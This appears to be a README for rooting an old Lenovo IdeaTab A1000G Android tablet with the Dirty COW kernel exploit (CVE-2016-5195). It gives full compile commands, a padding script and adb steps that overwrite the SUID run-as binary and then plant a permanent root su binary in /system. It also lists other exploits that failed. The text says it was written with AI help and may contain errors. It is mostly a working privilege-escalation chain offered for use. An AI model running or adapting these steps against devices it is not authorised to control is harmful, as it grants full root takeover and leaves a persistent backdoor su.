Lenovo IdeaTab A1000G — Root

Note: This documentation and exploit code was generated with AI assistance (Kiro). Verify before use — AI can and does make mistakes.

Device

Field	Value
Model	Lenovo IdeaTab A1000G
SoC	MediaTek MT8317 (= MT6517)
CPU	Dual-core Cortex-A9 @ 1.2GHz
Kernel	Linux 3.4.0
Build	A1000G_A412_01_09_130907_2G
Android	4.1.2 (Jelly Bean)

Prerequisites

• USB debugging enabled
• ADB connected
• Android NDK r28+ at ~/Android/Sdk/ndk/
• busybox-armv7l static binary (busybox.net/downloads/binaries/1.21.1/)

Exploit — CVE-2016-5195 (Dirty COW)

Race condition in kernel mmap/write path. Affects kernels 2.6.22–4.8.3. Target: /system/bin/run-as (SUID root, 9448 bytes).

1. Compile

NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
CC=$NDK/armv7a-linux-androideabi21-clang

# dcow exploit
$CC -o dcow -static -march=armv7-a -mfloat-abi=softfp -O1 \
    -UPRINT -UDEBUG "-DLOGV(...)=printf(__VA_ARGS__)" \
    dcow_main.c dirtycow_android.c

# su binary
$CC -o su -march=armv7-a -mfloat-abi=softfp -Os -s -fno-pie -no-pie su2_src.c

2. Pad su to target size (9448 bytes)

with open('su', 'rb') as f: data = f.read()
data = data + b'\x00' * (9448 - len(data))
with open('su_padded', 'wb') as f: f.write(data)

3. Run

adb push dcow su_padded su /data/local/tmp/
adb shell chmod 755 /data/local/tmp/dcow /data/local/tmp/su_padded /data/local/tmp/su
adb shell "/data/local/tmp/dcow /data/local/tmp/su_padded /system/bin/run-as"
# Wait for: [+] Success!

4. Install su permanently

# Enter root shell first
adb shell /system/bin/run-as

# Then:
mount -o remount,rw /system
toolbox dd if=/data/local/tmp/su of=/system/bin/su
toolbox chmod 6755 /system/bin/su
toolbox chown root:root /system/bin/su

5. Install busybox (optional)

# From PC:
adb push busybox-armv7l /data/local/tmp/busybox

# From root shell:
toolbox dd if=/data/local/tmp/busybox of=/system/bin/busybox
toolbox chmod 755 /system/bin/busybox
/system/bin/busybox --install /system/bin/

Usage

adb shell
/system/bin/run-as   # drops to root shell (#)
id                   # uid=0(root)

adb shell /system/bin/su -c cmd does NOT work — ADB drops setuid. Must enter an interactive shell first.

Post-Root

• /system/bin/run-as → overwritten (original run-as functionality broken)
• /system/bin/su → permanent SUID su binary
• /system/bin/busybox → busybox 1.21.1

Failed Attempts

Method	Reason
CVE-2013-1763 sock_diag	Not compiled into kernel
CVE-2013-6282 get_user/put_user	ldrt/strt blocked on Cortex-A9
CVE-2014-3153 Towelroot	Kernel panic — sendmmsg iovstack offset wrong for MTK
Framaroot AdbActivity	NullPointerException, incompatible
/proc/self/mem overwrite	Kernel addresses inaccessible from userspace

Files

.
├── README.md
├── root.sh              # automated root script
├── dirtycow_android.c   # CVE-2016-5195 core (Arinerron fork)
├── dcow_main.c          # main() wrapper
└── su2_src.c            # su binary source

Precompiled binaries not included — compile from source using the steps above.

References

• CVE-2016-5195 source: Arinerron/CVE-2016-5195
• Firmware ROM (different build, used for kernel symbol extraction only): Lenovo_A1000G_MT6577_01_24_130329 — symbols from this ROM work on build A412_01_09_130907 as both share the same kernel virtual layout